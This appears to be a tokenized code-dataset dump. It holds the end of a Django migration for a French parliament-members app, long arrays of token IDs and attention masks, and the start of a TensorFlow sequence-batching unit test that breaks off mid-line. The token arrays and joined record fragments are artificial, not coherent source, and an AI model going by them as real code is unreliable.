'Meta': {'object_name': 'Function'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, 'mps.functionmp': { 'Meta': {'object_name': 'FunctionMP'}, 'function': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Function']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'mission': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'mp': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.MP']"}), 'role': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, 'mps.group': { 'Meta': {'object_name': 'Group'}, 'abbreviation': ('django.db.models.fields.CharField', [], {'max_length': '31', 'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '255'}) }, 'mps.mandate': { 'Meta': {'object_name': 'Mandate'}, 'begin_reason': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'begin_term': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'current': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'election_date': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'end_reason': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'end_term': ('django.db.models.fields.DateField', [], {'null': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'institution': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'mp': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.MP']"}), 'role': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '127'}) }, 'mps.mp': { 'Meta': {'object_name': 'MP', '_ormbases': ['reps.Representative']}, 'active': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'an_commissions': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'an_debates': ('django.db.models.fields.URLField', [], {'max_length': '200', 'null': 'True'}), 'an_id': ('django.db.models.fields.IntegerField', [], {}), 'an_propositions': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'an_questions': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'an_reports': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'an_speeches': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'an_webpage': ('django.db.models.fields.URLField', [], {'max_length': '200'}), 'birth_department': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'department': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Department']"}), 'functions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['mps.Function']", 'through': "orm['mps.FunctionMP']", 'symmetrical': 'False'}), 'group': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Group']"}), 'group_role': ('django.db.models.fields.CharField', [], {'max_length': '63', 'null': 'True'}), 'profession': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'representative_ptr': ('django.db.models.fields.related.OneToOneField', [], {'to': "orm['reps.Representative']", 'unique': 'True', 'primary_key': 'True'}) }, 'mps.opinion': { 'Meta': {'object_name': 'Opinion'}, 'content': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '1023'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}) }, 'mps.phone': { 'Meta': {'object_name': 'Phone'}, 'address': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['mps.Address']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'number': ('django.db.models.fields.CharField', [], {'max_length': '63'}), 'type': ('django.db.models.fields.CharField', [], {'max_length': '5'}) }, 'reps.opinion': { 'Meta': {'object_name': 'Opinion'}, 'content': ('django.db.models.fields.TextField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '1023'}), 'url': ('django.db.models.fields.URLField', [], {'max_length': '200'}) }, 'reps.opinionrep': { 'Meta': {'object_name': 'OpinionREP'}, 'date': ('django.db.models.fields.DateField', [], {}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'opinion': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['reps.Opinion']"}), 'representative': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['reps.Representative']"}) }, 'reps.party': { 'Meta': {'object_name': 'Party'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}) }, 'reps.partyrepresentative': { 'Meta': {'object_name': 'PartyRepresentative'}, 'current': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'party': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['reps.Party']"}), 'representative': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['reps.Representative']"}), 'role': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}) }, 'reps.representative': { 'Meta': {'object_name': 'Representative'}, 'birth_date': ('django.db.models.fields.DateField', [], {}), 'birth_place': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'full_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True'}), 'gender': ('django.db.models.fields.CharField', [], {'max_length': '2'}), 'id': ('django.db.models.fields.CharField', [], {'max_length': '255', 'primary_key': 'True'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'local_party': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['reps.Party']", 'through': "orm['reps.PartyRepresentative']", 'symmetrical': 'False'}), 'opinions': ('django.db.models.fields.related.ManyToManyField', [], {'to': "orm['reps.Opinion']", 'through': "orm['reps.OpinionREP']", 'symmetrical': 'False'}), 'picture': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'}) } } complete_apps = ['mps']
agpl-3.0
[ 3, 2644, 26, 2774, 13, 24, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 421, 199, 533, 12090, 8, 24822, 304, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 12934, 1402, 283, 3481, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 1593, 297, 334, 288, 661, 466, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1213, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 3481, 1105, 398, 327, 12934, 1402, 283, 4619, 262, 1636, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 411, 262, 1636, 297, 334, 288, 661, 633, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 1317, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 6254, 358, 4000, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1213, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 3235, 29, 549, 12, 1390, 63, 1267, 29, 31923, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 4619, 262, 1636, 1105, 398, 327, 12934, 1402, 283, 872, 12493, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 19623, 297, 334, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 3235, 29, 549, 12, 1390, 63, 1267, 29, 2299, 1826, 288, 661, 1955, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 19, 12, 5062, 63, 498, 29, 549, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 872, 12493, 1105, 398, 327, 12934, 1402, 283, 35, 723, 388, 956, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 559, 82, 388, 956, 297, 334, 288, 661, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 872, 12493, 16607, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1955, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2192, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 35, 723, 388, 956, 1105, 398, 327, 12934, 1402, 283, 35, 867, 265, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 67, 867, 265, 297, 334, 288, 661, 559, 82, 388, 956, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 35, 723, 388, 956, 16607, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 27176, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 35, 867, 265, 1105, 398, 327, 12934, 1402, 283, 2448, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 923, 297, 334, 288, 661, 371, 30369, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2192, 12, 5062, 63, 498, 29, 549, 1826, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 2448, 1105, 398, 327, 12934, 1402, 283, 1658, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 311, 297, 334, 288, 661, 290, 63, 16762, 2335, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 12, 2973, 29, 549, 1826, 288, 661, 290, 63, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 358, 4000, 288, 661, 923, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 2448, 16607, 288, 661, 10907, 63, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 288, 661, 290, 63, 15629, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 14979, 3552, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 12, 2973, 29, 549, 1826, 288, 661, 13063, 1905, 63, 4695, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 14298, 7533, 475, 29, 1025, 459, 1155, 83, 14, 10755, 1905, 995, 3747, 29, 549, 12, 5062, 63, 498, 29, 549, 1826, 288, 661, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 872, 12493, 16607, 288, 661, 290, 63, 1404, 374, 1356, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 2682, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 7533, 885, 29, 797, 12, 4596, 29, 549, 1826, 288, 661, 290, 63, 12325, 69, 12253, 297, 291, 14 ]
[ 2644, 26, 2774, 13, 24, 199, 504, 12919, 14, 697, 492, 1592, 199, 504, 12919, 14, 86, 18, 492, 24765, 421, 199, 533, 12090, 8, 24822, 304, 2286, 347, 17465, 8, 277, 12, 9813, 304, 2728, 327, 12934, 1402, 283, 3481, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 1593, 297, 334, 288, 661, 466, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1213, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 3481, 1105, 398, 327, 12934, 1402, 283, 4619, 262, 1636, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 411, 262, 1636, 297, 334, 288, 661, 633, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 1317, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 6254, 358, 4000, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1213, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 3235, 29, 549, 12, 1390, 63, 1267, 29, 31923, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 4619, 262, 1636, 1105, 398, 327, 12934, 1402, 283, 872, 12493, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 19623, 297, 334, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 3235, 29, 549, 12, 1390, 63, 1267, 29, 2299, 1826, 288, 661, 1955, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 19, 12, 5062, 63, 498, 29, 549, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 872, 12493, 1105, 398, 327, 12934, 1402, 283, 35, 723, 388, 956, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 559, 82, 388, 956, 297, 334, 288, 661, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 872, 12493, 16607, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 1955, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2192, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 35, 723, 388, 956, 1105, 398, 327, 12934, 1402, 283, 35, 867, 265, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 67, 867, 265, 297, 334, 288, 661, 559, 82, 388, 956, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 35, 723, 388, 956, 16607, 288, 661, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 4378, 7533, 3327, 63, 498, 29, 549, 1826, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 27176, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 35, 867, 265, 1105, 398, 327, 12934, 1402, 283, 2448, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 923, 297, 334, 288, 661, 371, 30369, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2192, 12, 5062, 63, 498, 29, 549, 1826, 288, 661, 354, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 267, 5082, 267, 1592, 14, 2254, 63, 981, 63, 4653, 360, 13408, 297, 788, 2448, 1105, 398, 327, 12934, 1402, 283, 1658, 7, 267, 1592, 14, 981, 63, 1224, 360, 13408, 63, 311, 297, 334, 288, 661, 290, 63, 16762, 2335, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 12, 2973, 29, 549, 1826, 288, 661, 290, 63, 344, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 3901, 358, 4000, 288, 661, 923, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 2448, 16607, 288, 661, 10907, 63, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 1826, 288, 661, 290, 63, 15629, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 14979, 3552, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2183, 7533, 988, 63, 1267, 29, 2299, 12, 2973, 29, 549, 1826, 288, 661, 13063, 1905, 63, 4695, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 14298, 7533, 475, 29, 1025, 459, 1155, 83, 14, 10755, 1905, 995, 3747, 29, 549, 12, 5062, 63, 498, 29, 549, 1826, 288, 661, 19623, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 2407, 14, 3190, 7533, 475, 29, 1025, 459, 13408, 14, 872, 12493, 16607, 288, 661, 290, 63, 1404, 374, 1356, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 17363, 7533, 988, 63, 1267, 29, 1840, 1826, 288, 661, 2682, 297, 291, 14, 7102, 360, 1176, 14, 697, 14, 992, 14, 955, 14, 5036, 7533, 885, 29, 797, 12, 4596, 29, 549, 1826, 288, 661, 290, 63, 12325, 69, 12253, 297, 291, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
mengxn/tensorflow
tensorflow/contrib/training/python/training/batch_sequences_with_states_test.py
75
23282
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for tf.batch_sequences_with_states.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import numpy as np from tensorflow.contrib.training.python.training import sequence_queueing_state_saver as sqss from tensorflow.python.framework import constant_op from tensorflow.python.framework import dtypes from tensorflow.python.framework import errors_impl from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import random_ops from tensorflow.python.ops import string_ops from tensorflow.python.ops import variables from tensorflow.python.platform import test from tensorflow.python.training import coordinator from tensorflow.python.training import queue_runner_impl from tensorflow.python.training import saver class BatchSequencesWithStatesTest(test.TestCase): def setUp(self): super(BatchSequencesWithStatesTest, self).setUp() self.value_length = 4 ind1 = np.array([ [0, 0], [1, 0], [1, 3], [1, 4], [3, 2], [3, 3]]) val1 = np.array([0, 10, 13, 14, 32, 33]) shape1 = np.array([self.value_length, 6]) sp_tensor1 = sparse_tensor.SparseTensor( array_ops.constant(ind1, dtypes.int64), array_ops.constant(val1, dtypes.int64), array_ops.constant(shape1, dtypes.int64)) ind2 = np.array([ [0, 0, 1], [0, 1, 0], [0, 1, 2], [1, 0, 3], [1, 1, 0], [1, 1, 1], [1, 1, 2], [1, 2, 2]]) val2 = np.array([1, 10, 12, 103, 150, 149, 150, 122]) shape2 = np.array([self.value_length, 3, 4]) sp_tensor2 = sparse_tensor.SparseTensor( array_ops.constant(ind2, dtypes.int64), array_ops.constant(val2, dtypes.int64), array_ops.constant(shape2, dtypes.int64)) sp_tensor3 = sparse_tensor.SparseTensor( array_ops.constant([[1, 9], [2, 2], [2, 10]], dtypes.int64), array_ops.constant([7, 15, 2], dtypes.int64), array_ops.constant([5, 12], dtypes.int64) ) self.sp_tensor3_expected = sparse_tensor.SparseTensorValue( [[0, 1, 9], [0, 2, 2], [0, 2, 10], [1, 1, 9], [1, 2, 2], [1, 2, 10]], [7, 15, 2, 7, 15, 2], [2, 5, 12] ) self.batch_size = 2 self.key = string_ops.string_join([ "key_", string_ops.as_string( math_ops.cast(10000 * random_ops.random_uniform(()), dtypes.int32)) ]) self.sequences = { "seq1": np.random.rand(self.value_length, 5), "seq2": np.random.rand(self.value_length, 4, 2), "seq3": sp_tensor1, "seq4": sp_tensor2} self.context = { "context1": [3, 4], "sp_context": sp_tensor3} self.initial_states = { "state1": np.random.rand(6, 7), "state2": np.random.rand(8) } def _prefix(self, key_value): return set( [s.decode("ascii").split(":")[0].encode("ascii") for s in key_value]) def _testBasics(self, num_unroll, length, pad, expected_seq1_batch1, expected_seq2_batch1, expected_seq1_batch2, expected_seq2_batch2, expected_seq3_batch1, expected_seq3_batch2, expected_seq4_batch1, expected_seq4_batch2, key=None, make_keys_unique=False): with self.test_session() as sess: next_batch = sqss.batch_sequences_with_states( input_key=key if key is not None else self.key, input_sequences=self.sequences, input_context=self.context, input_length=length, initial_states=self.initial_states, num_unroll=num_unroll, batch_size=self.batch_size, num_threads=3, # to enforce that we only move on to the next examples after finishing # all segments of the first ones. capacity=2, pad=pad, make_keys_unique=make_keys_unique, make_keys_unique_seed=9) state1 = next_batch.state("state1") state2 = next_batch.state("state2") state1_update = next_batch.save_state("state1", state1 + 1) state2_update = next_batch.save_state("state2", state2 - 1) # Make sure queue runner with SQSS is added properly to meta graph def. # Saver requires at least one variable. v0 = variables.Variable(10.0, name="v0") ops.add_to_collection("variable_collection", v0) variables.global_variables_initializer() save = saver.Saver([v0]) test_dir = os.path.join(test.get_temp_dir(), "sqss_test") filename = os.path.join(test_dir, "metafile") meta_graph_def = save.export_meta_graph(filename) qr_saved = meta_graph_def.collection_def[ops.GraphKeys.QUEUE_RUNNERS] self.assertTrue(qr_saved.bytes_list.value is not None) coord = coordinator.Coordinator() threads = queue_runner_impl.start_queue_runners(coord=coord) # Step 1 (key_value, next_key_value, seq1_value, seq2_value, seq3_value, seq4_value, context1_value, context2_value, state1_value, state2_value, length_value, _, _) = sess.run( (next_batch.key, next_batch.next_key, next_batch.sequences["seq1"], next_batch.sequences["seq2"], next_batch.sequences["seq3"], next_batch.sequences["seq4"], next_batch.context["context1"], next_batch.context["sp_context"], state1, state2, next_batch.length, state1_update, state2_update)) expected_first_keys = set([b"00000_of_00002"]) expected_second_keys = set([b"00001_of_00002"]) expected_final_keys = set([b"STOP"]) self.assertEqual(expected_first_keys, self._prefix(key_value)) self.assertEqual(expected_second_keys, self._prefix(next_key_value)) self.assertAllEqual( np.tile(self.context["context1"], (self.batch_size, 1)), context1_value) self.assertAllEqual(self.sp_tensor3_expected.indices, context2_value.indices) self.assertAllEqual(self.sp_tensor3_expected.values, context2_value.values) self.assertAllEqual(self.sp_tensor3_expected.dense_shape, context2_value.dense_shape) self.assertAllEqual(expected_seq1_batch1, seq1_value) self.assertAllEqual(expected_seq2_batch1, seq2_value) self.assertAllEqual(expected_seq3_batch1.indices, seq3_value.indices) self.assertAllEqual(expected_seq3_batch1.values, seq3_value.values) self.assertAllEqual(expected_seq3_batch1.dense_shape, seq3_value.dense_shape) self.assertAllEqual(expected_seq4_batch1.indices, seq4_value.indices) self.assertAllEqual(expected_seq4_batch1.values, seq4_value.values) self.assertAllEqual(expected_seq4_batch1.dense_shape, seq4_value.dense_shape) self.assertAllEqual( np.tile(self.initial_states["state1"], (self.batch_size, 1, 1)), state1_value) self.assertAllEqual( np.tile(self.initial_states["state2"], (self.batch_size, 1)), state2_value) self.assertAllEqual(length_value, [num_unroll, num_unroll]) # Step 2 (key_value, next_key_value, seq1_value, seq2_value, seq3_value, seq4_value, context1_value, context2_value, state1_value, state2_value, length_value, _, _) = sess.run( (next_batch.key, next_batch.next_key, next_batch.sequences["seq1"], next_batch.sequences["seq2"], next_batch.sequences["seq3"], next_batch.sequences["seq4"], next_batch.context["context1"], next_batch.context["sp_context"], state1, state2, next_batch.length, state1_update, state2_update)) self.assertEqual(expected_second_keys, self._prefix(key_value)) self.assertEqual(expected_final_keys, self._prefix(next_key_value)) self.assertAllEqual( np.tile(self.context["context1"], (self.batch_size, 1)), context1_value) self.assertAllEqual(self.sp_tensor3_expected.indices, context2_value.indices) self.assertAllEqual(self.sp_tensor3_expected.values, context2_value.values) self.assertAllEqual(self.sp_tensor3_expected.dense_shape, context2_value.dense_shape) self.assertAllEqual(expected_seq1_batch2, seq1_value) self.assertAllEqual(expected_seq2_batch2, seq2_value) self.assertAllEqual(expected_seq3_batch2.indices, seq3_value.indices) self.assertAllEqual(expected_seq3_batch2.values, seq3_value.values) self.assertAllEqual(expected_seq3_batch2.dense_shape, seq3_value.dense_shape) self.assertAllEqual(expected_seq4_batch2.indices, seq4_value.indices) self.assertAllEqual(expected_seq4_batch2.values, seq4_value.values) self.assertAllEqual(expected_seq4_batch2.dense_shape, seq4_value.dense_shape) self.assertAllEqual(1 + np.tile(self.initial_states["state1"], (self.batch_size, 1, 1)), state1_value) self.assertAllEqual(-1 + np.tile(self.initial_states["state2"], (self.batch_size, 1)), state2_value) self.assertAllEqual([1, 1], length_value) coord.request_stop() coord.join(threads, stop_grace_period_secs=2) def _testBasicPadding(self, pad, key=None, make_keys_unique=False): num_unroll = 2 # Divisor of value_length - so no padding necessary. expected_seq1_batch1 = np.tile( self.sequences["seq1"][np.newaxis, 0:num_unroll, :], (self.batch_size, 1, 1)) expected_seq2_batch1 = np.tile( self.sequences["seq2"][np.newaxis, 0:num_unroll, :, :], (self.batch_size, 1, 